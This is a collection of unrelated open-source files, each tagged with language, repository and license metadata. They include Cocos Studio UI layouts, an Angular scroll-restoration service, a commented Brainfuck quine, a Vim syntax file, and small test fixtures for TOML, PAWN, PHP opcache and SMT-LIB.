<Position X="8.1029" Y="-12.0673" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="172" G="172" B="172" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2_2_0" ActionTag="2094979710" Tag="356" IconVisible="False" LeftMargin="2.7225" RightMargin="-24.8633" TopMargin="27.7120" BottomMargin="-85.9961" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="22.1407" Y="58.2841" />
<AnchorPoint />
<Position X="2.7225" Y="-85.9961" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="172" G="172" B="172" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2_2_0_0" ActionTag="-2013820637" Tag="357" IconVisible="False" LeftMargin="21.5505" RightMargin="-43.6912" TopMargin="31.8455" BottomMargin="-59.1972" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="22.1407" Y="27.3517" />
<AnchorPoint />
<Position X="21.5505" Y="-59.1972" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="172" G="172" B="172" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2_1" ActionTag="516243834" Tag="101" RotationSkewX="-30.0000" RotationSkewY="-60.0007" IconVisible="False" RightMargin="-57.0000" TopMargin="100.0000" BottomMargin="-120.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="57.0000" Y="20.0000" />
<AnchorPoint ScaleY="1.0000" />
<Position Y="-100.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="73" G="73" B="73" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2_0_0_0" ActionTag="-1817336782" Tag="103" RotationSkewX="-30.0000" IconVisible="False" LeftMargin="27.5000" RightMargin="-87.0000" TopMargin="50.0000" BottomMargin="-70.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="59.5000" Y="20.0000" />
<AnchorPoint ScaleX="1.0000" ScaleY="1.0000" />
<Position X="87.0000" Y="-50.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="73" G="73" B="73" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position X="350.0000" Y="215.0000" />
<Scale ScaleX="0.5000" ScaleY="0.5000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position X="0.0002" Y="-9.4386" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.0000" Y="-0.0393" />
<PreSize X="0.0000" Y="0.0000" />
</AbstractNodeData>
</Children>
</ObjectData>
</Content>
</Content>
</GameFile> | Csound | 3 | A29586a/Kirikiroid2 | cocos/kr2/cocosstudio/ui/help/MouseModeTips.csd | [
"BSD-3-Clause"
] |
import {DOCUMENT, Location, PlatformLocation, PopStateEvent, ViewportScroller} from '@angular/common';
import {Inject, Injectable, OnDestroy} from '@angular/core';
import {fromEvent, Subject} from 'rxjs';
import {debounceTime, takeUntil} from 'rxjs/operators';
import {SessionStorage} from './storage.service';
type ScrollPosition = [number, number];
interface ScrollPositionPopStateEvent extends PopStateEvent {
// If there is history state, it should always include `scrollPosition`.
state?: {scrollPosition: ScrollPosition};
}
export const topMargin = 16;
/**
* A service that scrolls document elements into view
*/
@Injectable()
export class ScrollService implements OnDestroy {
private _topOffset: number|null;
private _topOfPageElement: HTMLElement;
private onDestroy = new Subject<void>();
// The scroll position which has to be restored, after a `popstate` event.
poppedStateScrollPosition: ScrollPosition|null = null;
// Whether the browser supports the necessary features for manual scroll restoration.
supportManualScrollRestoration: boolean = !!window && ('scrollTo' in window) &&
('pageXOffset' in window) && isScrollRestorationWritable();
// Offset from the top of the document to bottom of any static elements
// at the top (e.g. toolbar) + some margin
get topOffset() {
if (!this._topOffset) {
const toolbar = this.document.querySelector('.app-toolbar');
this._topOffset = (toolbar && toolbar.clientHeight || 0) + topMargin;
}
return this._topOffset as number;
}
get topOfPageElement() {
if (!this._topOfPageElement) {
this._topOfPageElement = this.document.getElementById('top-of-page') || this.document.body;
}
return this._topOfPageElement;
}
constructor(
@Inject(DOCUMENT) private document: Document, private platformLocation: PlatformLocation,
private viewportScroller: ViewportScroller, private location: Location,
@Inject(SessionStorage) private storage: Storage) {
// On resize, the toolbar might change height, so "invalidate" the top offset.
fromEvent(window, 'resize')
.pipe(takeUntil(this.onDestroy))
.subscribe(() => this._topOffset = null);
fromEvent(window, 'scroll')
.pipe(debounceTime(250), takeUntil(this.onDestroy))
.subscribe(() => this.updateScrollPositionInHistory());
fromEvent(window, 'beforeunload')
.pipe(takeUntil(this.onDestroy))
.subscribe(() => this.updateScrollLocationHref());
// Change scroll restoration strategy to `manual` if it's supported.
if (this.supportManualScrollRestoration) {
history.scrollRestoration = 'manual';
// We have to detect forward and back navigation thanks to popState event.
const locationSubscription = this.location.subscribe((event: ScrollPositionPopStateEvent) => {
// The type is `hashchange` when the fragment identifier of the URL has changed. It allows
// us to go to position just before a click on an anchor.
if (event.type === 'hashchange') {
this.scrollToPosition();
} else {
// Navigating with the forward/back button, we have to remove the position from the
// session storage in order to avoid a race-condition.
this.removeStoredScrollInfo();
// The `popstate` event is always triggered by a browser action such as clicking the
// forward/back button. It can be followed by a `hashchange` event.
this.poppedStateScrollPosition = event.state ? event.state.scrollPosition : null;
}
});
this.onDestroy.subscribe(() => locationSubscription.unsubscribe());
}
// If this was not a reload, discard the stored scroll info.
if (window.location.href !== this.getStoredScrollLocationHref()) {
this.removeStoredScrollInfo();
}
}
ngOnDestroy() {
this.onDestroy.next();
}
/**
* Scroll to the element with id extracted from the current location hash fragment.
* Scroll to top if no hash.
* Don't scroll if hash not found.
*/
scroll() {
const hash = this.getCurrentHash();
const element = hash ? this.document.getElementById(hash) ?? null : this.topOfPageElement;
this.scrollToElement(element);
}
/**
* test if the current location has a hash
*/
isLocationWithHash(): boolean {
return !!this.getCurrentHash();
}
/**
* When we load a document, we have to scroll to the correct position depending on whether this is
* a new location, a back/forward in the history, or a refresh.
*
* @param delay before we scroll to the good position
*/
scrollAfterRender(delay: number) {
// If we do rendering following a refresh, we use the scroll position from the storage.
const storedScrollPosition = this.getStoredScrollPosition();
if (storedScrollPosition) {
this.viewportScroller.scrollToPosition(storedScrollPosition);
} else {
if (this.needToFixScrollPosition()) {
// The document was reloaded following a `popstate` event (triggered by clicking the
// forward/back button), so we manage the scroll position.
this.scrollToPosition();
} else {
// The document was loaded as a result of one of the following cases:
// - Typing the URL in the address bar (direct navigation).
// - Clicking on a link.
// (If the location contains a hash, we have to wait for async layout.)
if (this.isLocationWithHash()) {
// Delay scrolling by the specified amount to allow time for async layout to complete.
setTimeout(() => this.scroll(), delay);
} else {
// If the location doesn't contain a hash, we scroll to the top of the page.
this.scrollToTop();
}
}
}
}
/**
* Scroll to the element.
* Don't scroll if no element.
*/
scrollToElement(element: HTMLElement|null) {
if (element) {
element.scrollIntoView();
element.focus?.();
if (window && window.scrollBy) {
// Scroll as much as necessary to align the top of `element` at `topOffset`.
// (Usually, `.top` will be 0, except for cases where the element cannot be scrolled all the
// way to the top, because the viewport is larger than the height of the content after the
// element.)
window.scrollBy(0, element.getBoundingClientRect().top - this.topOffset);
// If we are very close to the top (<20px), then scroll all the way up.
// (This can happen if `element` is at the top of the page, but has a small top-margin.)
if (window.pageYOffset < 20) {
window.scrollBy(0, -window.pageYOffset);
}
}
}
}
/** Scroll to the top of the document. */
scrollToTop() {
this.scrollToElement(this.topOfPageElement);
}
scrollToPosition() {
if (this.poppedStateScrollPosition) {
this.viewportScroller.scrollToPosition(this.poppedStateScrollPosition);
this.poppedStateScrollPosition = null;
}
}
updateScrollLocationHref(): void {
this.storage.setItem('scrollLocationHref', window.location.href);
}
/**
* Update the state with scroll position into history.
*/
updateScrollPositionInHistory() {
if (this.supportManualScrollRestoration) {
const currentScrollPosition = this.viewportScroller.getScrollPosition();
this.location.replaceState(
this.location.path(true), undefined, {scrollPosition: currentScrollPosition});
this.storage.setItem('scrollPosition', currentScrollPosition.join(','));
}
}
getStoredScrollLocationHref(): string|null {
const href = this.storage.getItem('scrollLocationHref');
return href || null;
}
getStoredScrollPosition(): ScrollPosition|null {
const position = this.storage.getItem('scrollPosition');
if (!position) {
return null;
}
const [x, y] = position.split(',');
return [+x, +y];
}
removeStoredScrollInfo() {
this.storage.removeItem('scrollLocationHref');
this.storage.removeItem('scrollPosition');
}
/**
* Check if the scroll position need to be manually fixed after popState event
*/
needToFixScrollPosition(): boolean {
return this.supportManualScrollRestoration && !!this.poppedStateScrollPosition;
}
/**
* Return the hash fragment from the `PlatformLocation`, minus the leading `#`.
*/
private getCurrentHash() {
return decodeURIComponent(this.platformLocation.hash.replace(/^#/, ''));
}
}
/**
* We need to check whether we can write to `history.scrollRestoration`
*
* We do this by checking the property descriptor of the property, but
* it might actually be defined on the `history` prototype not the instance.
*
* In this context "writable" means either than the property is a `writable`
* data file or a property that has a setter.
*/
function isScrollRestorationWritable() {
const scrollRestorationDescriptor =
Object.getOwnPropertyDescriptor(history, 'scrollRestoration') ||
Object.getOwnPropertyDescriptor(Object.getPrototypeOf(history), 'scrollRestoration');
return scrollRestorationDescriptor !== undefined &&
!!(scrollRestorationDescriptor.writable || scrollRestorationDescriptor.set);
}
| TypeScript | 4 | John-Cassidy/angular | aio/src/app/shared/scroll.service.ts | [
"MIT"
] |
:orphan:
*************************
NumPy C Code Explanations
*************************
.. This document has been moved to ../dev/internals.code-explanations.rst.
This document has been moved to :ref:`c-code-explanations`. | reStructuredText | 0 | iam-abbas/numpy | doc/source/reference/internals.code-explanations.rst | [
"BSD-3-Clause"
] |
SinOsc s => FoldbackSaturator foldy => dac;
0.3 => foldy.threshold;
0.001 => float delta;
while(1::ms => now)
{
if((foldy.index() < 1.0) || (foldy.index() > 4.0))
{
-1.0 *=> delta;
}
foldy.index(foldy.index() - delta);
}
| ChucK | 3 | ccdarabundit/chugins | FoldbackSaturator/foldback-test-index.ck | [
"MIT"
] |
import { generateUtilityClass, generateUtilityClasses } from '@mui/base';
export interface StepContentClasses {
/** Styles applied to the root element. */
root: string;
/** Styles applied to the root element if `last={true}` (controlled by `Step`). */
last: string;
/** Styles applied to the Transition component. */
transition: string;
}
export type StepContentClassKey = keyof StepContentClasses;
export function getStepContentUtilityClass(slot: string): string {
return generateUtilityClass('MuiStepContent', slot);
}
const stepContentClasses: StepContentClasses = generateUtilityClasses('MuiStepContent', [
'root',
'last',
'transition',
]);
export default stepContentClasses;
| TypeScript | 4 | dany-freeman/material-ui | packages/mui-material/src/StepContent/stepContentClasses.ts | [
"MIT"
] |
Written by Erik Bosman
a 410 byte quine with comments
DATA SECTION
: The data section contains the data needed for reproducing the code section
: The format in which the data is stored is as follows:
:
: every character is stored into memory as two separate bytes (B1; B2)
: the character that is represented by these bytes has the ascii value
: B1 plus B2*16 plus 43
:
: I chose this format because it makes it possible to write a very compact
: code section which has its effect on the size of the data section too
:
: The data is inserted in reversed order and the first minus sign causes the
: code to stop at the beginning of the stream
-
>++>+++ >+>+ >++> >+>+ >+++> >+>+ >++>+++ >+++>+ >> >> >> >> >> >> >> >> >> >>
>> >> >> >> >> >> >+>+ >++> >>+++ >> >> >+++>+ >> >> >> >> >> >> >> >> >> >>
>>+++ >> >> >> >++>+++ >+++>+ >>+++ >> >+++>+ >+++>+ >++>+++ >> >+>+ >+>+
>++>+++ >+>+ >>+++ >> >> >> >+>+ >> >+>+ >++>+++ >+++>+ >>+++ >+++>+ >+++>+
>++>+++ >++> >+>+ >++>+++ >+>+ >>+++ >> >+++>+ >> >++>+++ >+++>+ >>+++ >>
>+++>+ >+++>+ >>+++ >>+++ >>
CODE SECTION
: The data section contains information about how to print the code section
: The following code examines this data and uses it to add the code needed
: for the insertion of the data into the memory (the data section)
: ( this data is in the same format as the code section and also in
: reversed order )
:
: In the process all bytes are increased by one
: therefore the ascii value of a character can now be calculated by
: B1 plus B2*16 plus 26
WHILE THERE ARE BYTES LEFT: +[
: move the data two positions to the right
: and add N plus signs at the end where N
: is the value of the current byte
[
>>+[>]+>+[<]<-
]
: note that this actually is one too many because the byte
: already has been increased once
:
: go to the end of the stream once again to replace the last plus sign
: by a greater than sign and return to the orginal position
>>[>]<+<+++[<]<
: on to the next byte
<
+]
: Go to the end and add the data to print a minus sign there
:
: The third character of the code below is a plus sign instead of a
: greater than sign because it uses less space in the data section
: and it works just as well; the value of this byte is irrelevant
: in the code that is to follow
>>+[>]+++
: note that B1 is 3 and B2 is 0 and the ascii character of the minus sign
: is 45 and not 29 as the formula as described above would return
: This is because in the following loop B2 will be decreased by one for
: all characters but the first one
:
: The actual formula applied will therefore be:
: (B1 plus 10) plus (B2 plus 2)*16
WHILE THERE IS A CHARACTER LEFT TO PRINT: [
++++++++++>++
[-<++++++++++++++++>]
<.<-<
]
| Brainfuck | 5 | RubenNL/brainheck | examples/quine/quine-410-commented.bf | [
"Apache-2.0"
] |
Prefix(:=<http://example.org/>)
Ontology(:TestInferredEdges
# primitive hierarchy
SubClassOf(:a :root)
SubClassOf(:b :a)
SubClassOf(:c :b)
SubClassOf(:d :c)
SubClassOf(:e :d)
# equivalence axioms sufficient to build complete hierarchy
EquivalentClasses(:ax ObjectSomeValuesFrom(:p :a))
EquivalentClasses(:bx ObjectSomeValuesFrom(:p :b))
EquivalentClasses(:cx ObjectSomeValuesFrom(:p :c))
EquivalentClasses(:dx ObjectSomeValuesFrom(:p :d))
EquivalentClasses(:ex ObjectSomeValuesFrom(:p :e))
# derived partially asserted hierarchy
SubClassOf(:ax :root)
SubClassOf(:bx :ax)
SubClassOf(:cx :bx)
SubClassOf(:dx :root) ## link to be repaired
SubClassOf(:ex :dx)
)
| Web Ontology Language | 3 | jmcmurry/SciGraph | SciGraph-core/src/test/resources/ontologies/cases/TestInferredEdges.owl | [
"Apache-2.0"
] |
## Error 404 (object)
- message: `404 Not found` (string)
- status_code: 404 (number) `status code number`
## Error 400 (object)
- message: `Bad Request` (string)
- status_code: 400 (number) `status code number`
## Error 403 (object)
- message: `Forbidden` (string)
- status_code: 403 (number) `status code number`
## Error 401 (object)
- message: `Unauthenticated.` (string)
- status_code: 401 (number) `status code number`
## Error 405 (object)
- message: `Method Not Allowed` (string)
- status_code: 405 (number) `status code number`
## Error 422 (object)
- message: `Validation error` (string)
- errors (array) `Array of errors present in the validation`
- status_code: 422 (number) `status code number` | API Blueprint | 3 | k2gsalem/api-laravel | docs/api/blueprint/dataStructures/errors.apib | [
"MIT"
] |
answer = "\x33"
| TOML | 0 | vanillajonathan/julia | stdlib/TOML/test/testfiles/invalid/string-byte-escapes.toml | [
"Zlib"
] |
100 5 0 0
0 1 4 2 1 3 4 [0] [0] [0] [0]
1 1 1 61 [6]
2 1 1 31 [10]
3 1 1 90 [9]
4 1 2 80 56 [12] [12]
5 1 1 70 [7]
6 1 2 47 100 [7] [7]
7 1 1 92 [13]
8 1 1 78 [9]
9 1 1 50 [7]
10 1 1 48 [15]
11 1 1 37 [15]
12 1 1 59 [11]
13 1 2 54 18 [12] [12]
14 1 1 62 [11]
15 1 1 57 [9]
16 1 1 42 [7]
17 1 1 38 [5]
18 1 1 7 [13]
19 1 1 41 [7]
20 1 2 91 65 [-21] [7]
21 1 1 99 [14]
22 1 1 14 [5]
23 1 1 95 [13]
24 1 1 45 [12]
25 1 1 43 [7]
26 1 1 9 [11]
27 1 1 26 [10]
28 1 2 85 24 [5] [-85]
29 1 1 35 [8]
30 1 1 72 [8]
31 1 1 51 [5]
32 1 1 68 [14]
33 1 2 57 11 [-33] [7]
34 1 1 18 [12]
35 1 1 22 [14]
36 1 1 17 [9]
37 1 2 21 80 [8] [8]
38 1 2 94 59 [7] [7]
39 1 1 64 [14]
40 1 1 74 [10]
41 1 1 30 [12]
42 1 1 40 [14]
43 1 1 32 [11]
44 1 1 24 [5]
45 1 2 29 51 [9] [-73]
46 1 1 6 [5]
47 1 1 88 [15]
48 1 1 13 [12]
49 1 1 46 [9]
50 1 3 82 59 42 [9] [9] [9]
51 1 1 44 [12]
52 1 1 12 [15]
53 1 1 67 [15]
54 1 1 8 [11]
55 1 1 16 [8]
56 1 1 96 [10]
57 1 2 65 63 [-30] [11]
58 1 2 52 39 [13] [13]
59 1 1 55 [14]
60 1 1 34 [12]
61 1 1 77 [15]
62 1 2 28 31 [13] [-85]
63 1 1 33 [15]
64 1 1 81 [5]
65 1 1 57 [15]
66 1 1 25 [12]
67 1 2 11 75 [-51] [12]
68 1 1 91 [7]
69 1 4 18 98 84 92 [-39] [13] [-17] [-32]
70 1 1 66 [8]
71 1 1 49 [8]
72 1 2 58 12 [10] [10]
73 1 3 72 37 15 [8] [8] [8]
74 1 1 71 [6]
75 1 2 99 21 [14] [14]
76 1 1 5 [6]
77 1 1 93 [9]
78 1 1 23 [5]
79 1 1 83 [7]
80 1 1 53 [13]
81 1 1 52 [6]
82 1 1 89 [5]
83 1 1 20 [7]
84 1 1 69 [8]
85 1 1 36 [5]
86 1 1 27 [8]
87 1 2 69 60 [10] [10]
88 1 1 100 [11]
89 1 3 46 58 19 [5] [5] [5]
90 1 1 86 [15]
91 1 1 79 [7]
92 1 2 7 84 [-36] [5]
93 1 1 10 [14]
94 1 1 97 [9]
95 1 1 87 [6]
96 1 1 76 [6]
97 1 4 59 99 52 73 [10] [10] [10] [10]
98 1 1 101 [6]
99 1 1 101 [15]
100 1 1 101 [15]
101 1 0
0 1 0 0 0 0 0 0
1 1 6 2 2 0 3 2
2 1 10 2 0 3 2 1
3 1 9 1 2 2 3 3
4 1 12 2 1 2 3 3
5 1 7 3 2 1 3 2
6 1 7 1 0 3 2 1
7 1 13 3 2 1 1 2
8 1 9 2 0 1 2 3
9 1 7 1 3 2 3 2
10 1 15 2 3 0 1 1
11 1 15 1 1 2 3 0
12 1 11 1 0 2 2 2
13 1 12 0 2 3 1 3
14 1 11 0 2 2 3 3
15 1 9 3 2 3 3 0
16 1 7 2 3 3 1 3
17 1 5 0 0 1 1 1
18 1 13 0 1 1 2 3
19 1 7 2 1 0 2 3
20 1 7 2 2 2 0 1
21 1 14 2 0 1 2 1
22 1 5 3 3 0 2 3
23 1 13 2 2 2 3 0
24 1 12 1 2 0 2 1
25 1 7 1 0 2 3 2
26 1 11 2 2 0 2 1
27 1 10 1 0 2 3 3
28 1 5 3 1 2 3 3
29 1 8 3 2 3 2 3
30 1 8 1 2 1 2 0
31 1 5 1 1 2 0 2
32 1 14 3 2 0 1 2
33 1 7 3 2 0 2 1
34 1 12 0 3 1 1 2
35 1 14 2 3 2 0 2
36 1 9 0 3 2 3 1
37 1 8 1 2 3 0 1
38 1 7 3 3 0 3 2
39 1 14 1 2 2 0 1
40 1 10 3 0 2 2 1
41 1 12 1 2 3 2 1
42 1 14 3 0 1 3 3
43 1 11 0 3 3 1 3
44 1 5 1 3 2 0 2
45 1 9 1 3 0 2 1
46 1 5 3 1 2 0 2
47 1 15 3 2 2 0 1
48 1 12 2 0 2 2 1
49 1 9 2 3 2 1 2
50 1 9 2 2 0 3 3
51 1 12 3 2 0 1 2
52 1 15 1 1 3 0 3
53 1 15 1 1 2 0 1
54 1 11 1 3 1 3 1
55 1 8 1 0 1 2 3
56 1 10 0 3 1 1 3
57 1 11 1 0 2 3 2
58 1 13 0 0 2 2 2
59 1 14 3 3 0 2 1
60 1 12 1 2 0 1 1
61 1 15 0 3 1 3 2
62 1 13 3 3 2 0 3
63 1 15 1 3 1 3 2
64 1 5 2 2 2 0 3
65 1 15 2 3 3 3 0
66 1 12 2 1 3 3 1
67 1 12 3 0 1 1 1
68 1 7 3 3 3 1 3
69 1 13 0 1 1 1 1
70 1 8 2 3 0 2 2
71 1 8 2 2 0 3 3
72 1 10 1 2 0 2 1
73 1 8 0 0 1 1 1
74 1 6 2 0 3 2 2
75 1 14 3 3 3 3 2
76 1 6 1 2 2 1 1
77 1 9 1 3 3 1 0
78 1 5 2 1 0 2 1
79 1 7 3 3 2 2 2
80 1 13 1 3 2 2 2
81 1 6 3 0 3 2 3
82 1 5 0 3 2 1 3
83 1 7 0 1 3 2 3
84 1 8 2 0 2 2 3
85 1 5 2 2 1 0 1
86 1 8 0 3 1 2 3
87 1 10 2 3 1 0 1
88 1 11 1 0 3 3 2
89 1 5 2 3 2 0 3
90 1 15 2 2 0 1 2
91 1 7 3 1 3 2 3
92 1 5 2 1 2 3 0
93 1 14 0 3 2 3 2
94 1 9 2 1 0 2 1
95 1 6 0 1 2 1 2
96 1 6 1 2 1 0 1
97 1 10 1 0 1 2 3
98 1 6 2 3 1 0 3
99 1 15 0 3 2 3 3
100 1 15 3 3 2 2 0
101 1 0 0 0 0 0 0
4 5 5 5 5
| Eagle | 1 | klorel/or-tools | examples/data/rcpsp/single_mode_max_delay/testsetd/psp63.sch | [
"Apache-2.0"
] |
" Vim syntax file
" Language: Graphviz program
" Maintainer: Matthew Fernandez <matthew.fernandez@gmail.com>
" Last Change: Tue, 28 Jul 2020 17:20:44 -0700
if exists("b:current_syntax")
finish
endif
let s:cpo_save = &cpo
set cpo&vim
syn keyword gvArg ARGC ARGV
syn keyword gvBeg BEGIN BEG_G N E END END_G
syn keyword gvFunc
\ graph fstsubg isDirect isStrict isSubg nEdges nNodes nxtsubg subg
\ degreeOf fstnode indegreeOf isNode isSubnode node nxtnode nxtnode_sg
\ outDegreeOf subnode
\ edge edge_sg fstedge fstedge_sg fstin fstin_sg fstout fstout_sg isEdge
\ isEdge_sg isSubedge nxtedge nxtedge_sg nxtin nxtin_sg nxtout nxtout_sg opp
\ subedge
\ freadG fwriteG readG write[] writeG
\ aget aset clone cloneG compOf copy[] copyA delete[] fstAttr getDflt hasAttr
\ induce isAttr isIn kindOf lock[] nxtAttr setDflt
\ canon gsub html index ishtml length llOf match[] rindex split[] sprintf
\ sscanf strcmp sub substr tokens tolower toupper urOf xOf yOf
\ closeF openF print[] printf scanf readL
\ atan2 cos exp log MAX MIN pow sin[] sqrt
\ in[] unset
\ colorx exit[] rand srand system
syn keyword gvCons
\ NULL TV_bfs TV_dfs TV_en TV_flat TV_fwd TV_ne TV_prepostdfs TV_prepostfwd
\ TV_prepostrev TV_postdfs TV_postfwd tv_postrev TV_rev
syn keyword gvType char double float int long unsigned void
\ string
\ edge_t graph_t node_t obj_t
syn match gvVar
\ "\$\(\(F\|G\|NG\|O\|T\|tgtname\|tvedge\|tvnext\|tvroot\|tvtype\)\>\)\?\(\<\)\@!"
syn keyword gvWord break continue else for forr if return switch while
" numbers adapted from c.vim's cNumbers and friends
syn match gvNums transparent "\<\d\|\.\d" contains=gvNumber,gvFloat,gvOctal
syn match gvNumber contained "\d\+\(u\=l\{0,2}\|ll\=u\)\>"
syn match gvNumber contained "0x\x\+\(u\=l\{0,2}\|ll\=u\)\>"
syn match gvOctal contained "0\o\+\(u\=l\{0,2}\|ll\=u\)\>" contains=gvOctalZero
syn match gvOctalZero contained "\<0"
syn match gvFloat contained "\d\+f"
syn match gvFloat contained "\d\+\.\d*\(e[-+]\=\d\+\)\=[fl]\="
syn match gvFloat contained "\.\d\+\(e[-+]\=\d\+\)\=[fl]\=\>"
syn match gvFloat contained "\d\+e[-+]\=\d\+[fl]\=\>"
syn region gvString start=+"+ skip=+\\\\\|\\"+ end=+"+ contains=gvFormat,gvSpecial extend
syn region gvString start="'" skip="\\\\\|\\'" end="'" contains=gvFormat,gvSpecial extend
" adapted from c.vim's cFormat for c_no_c99
syn match gvFormat "%\(\d\+\$\)\=[-+' #0*]*\(\d*\|\*\|\*\d\+\$\)\(\.\(\d*\|\*\|\*\d\+\$\)\)\=\([hlL]\|ll\)\=\([bdiuoxXDOUfeEgGcCsSpn]\|\[\^\=.[^]]*\]\)" contained
syn match gvSpecial "\\." contained
syn region gvCComment start="//" skip="\\$" end="$" keepend
syn region gvCPPComment start="#" skip="\\$" end="$" keepend
syn region gvCXXComment start="/\*" end="\*/" fold
hi def link gvArg Identifier
hi def link gvBeg Keyword
hi def link gvFloat Number
hi def link gvFunc Identifier
hi def link gvCons Number
hi def link gvNumber Number
hi def link gvType Type
hi def link gvVar Statement
hi def link gvWord Keyword
hi def link gvString String
hi def link gvFormat Special
hi def link gvSpecial Special
hi def link gvCComment Comment
hi def link gvCPPComment Comment
hi def link gvCXXComment Comment
let b:current_syntax = "gvpr"
let &cpo = s:cpo_save
unlet s:cpo_save
| VimL | 4 | uga-rosa/neovim | runtime/syntax/gvpr.vim | [
"Vim"
] |
<cfinclude template="Header.cfm">
<cfset StructKeyExists(quickInfoData, 'companyName')> | ColdFusion | 2 | tonym128/CFLint | src/test/resources/com/cflint/tests/Includes/Template.cfm | [
"BSD-3-Clause"
] |
{}
:host |tiye.me
:uploads $ []
{}
:from |dist/*
:to |/web-assets/cdn/calcit-workflow/
{}
:from |dist/{index.html,manifest.json}
:to |/web-assets/repo/mvc-works/calcit-workflow/
| Cirru | 1 | jimengio/meson-drafter | upload.cirru | [
"MIT"
] |
// FLAGS: -d3
// OUTPUT: \[debug\] Run time error 4: "Array index out of bounds"
// OUTPUT: \[debug\] Attempted to read/write array element at index 100500 in array of size 1
// OUTPUT: \[debug\] AMX backtrace:
// OUTPUT: \[debug\] #0 [0-9a-fA-F]+ in main \(\) at .*orte_regs\.pwn:14
// OUTPUT: Error while executing main: Array index out of bounds \(4\)
#include <crashdetect>
#include "test"
main() {
new i = 100500;
new a[1];
printf("%d", a[i]);
}
public OnRuntimeError(code, &bool:suppress) {
return 1;
}
| PAWN | 2 | SL-RP/samp-plugin-crashdetect | tests/orte_regs.pwn | [
"BSD-2-Clause"
] |
(assert (= (str.substr "abcdef" 2 3) "cde"))
(check-sat)
| SMT | 3 | mauguignard/cbmc | regression/smt2_strings/substr_const_sat/substr_const_sat.smt2 | [
"BSD-4-Clause"
] |
package test;
public enum EnumValues {
OK(0),
COMPILATION_ERROR(1),
INTERNAL_ERROR(2),
SCRIPT_EXECUTION_ERROR(3);
private final int code;
EnumValues(int code) {
this.code = code;
}
public int getCode() {
return code;
}
}
| Java | 4 | AndrewReitz/kotlin | compiler/testData/compileKotlinAgainstJava/EnumValues.java | [
"ECL-2.0",
"Apache-2.0"
] |
def bar {
"In bar!" println
Thread sleep: 1
"OK, done!" println
}
self @@ bar
Thread sleep: 1
self @@ bar
Console readln | Fancy | 1 | bakkdoor/fancy | examples/async_send.fy | [
"BSD-3-Clause"
] |
--TEST--
JIT INC: 021
--INI--
opcache.enable=1
opcache.enable_cli=1
opcache.file_update_protection=0
opcache.jit_buffer_size=1M
opcache.protect_memory=1
;opcache.jit_debug=257
--EXTENSIONS--
opcache
--SKIPIF--
<?php
if (PHP_INT_SIZE != 8) die("skip this test is for 64bit platform only");
?>
--FILE--
<?php
function inc(int|float $x) {
return ++$x;
}
function dec(int|float $x) {
return --$x;
}
var_dump(inc(PHP_INT_MAX));
var_dump(inc(1.1));
var_dump(dec(PHP_INT_MIN));
var_dump(dec(1.1));
?>
--EXPECT--
float(9.223372036854776E+18)
float(2.1)
float(-9.223372036854776E+18)
float(0.10000000000000009)
| PHP | 3 | NathanFreeman/php-src | ext/opcache/tests/jit/inc_021.phpt | [
"PHP-3.01"
] |
<GameProjectFile>
<PropertyGroup Type="Scene" Name="crossplatform_UIListView_Editor_Horizontal" ID="25848ead-412c-4d99-a737-9312d4f0dfa4" Version="2.1.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="0" Speed="1.0000" />
<ObjectData Name="Scene" FrameEvent="" ctype="SingleNodeObjectData">
<Position X="0.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="480.0000" Y="320.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="0.0000" Y="0.0000" />
<Children>
<NodeObjectData Name="Panel_521" ActionTag="965055358" FrameEvent="" CallBackType="Touch" Tag="5" ObjectIndex="2" TouchEnable="True" BackColorAlpha="102" ComboBoxIndex="1" ColorAngle="90.0000" ctype="PanelObjectData">
<Position X="0.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
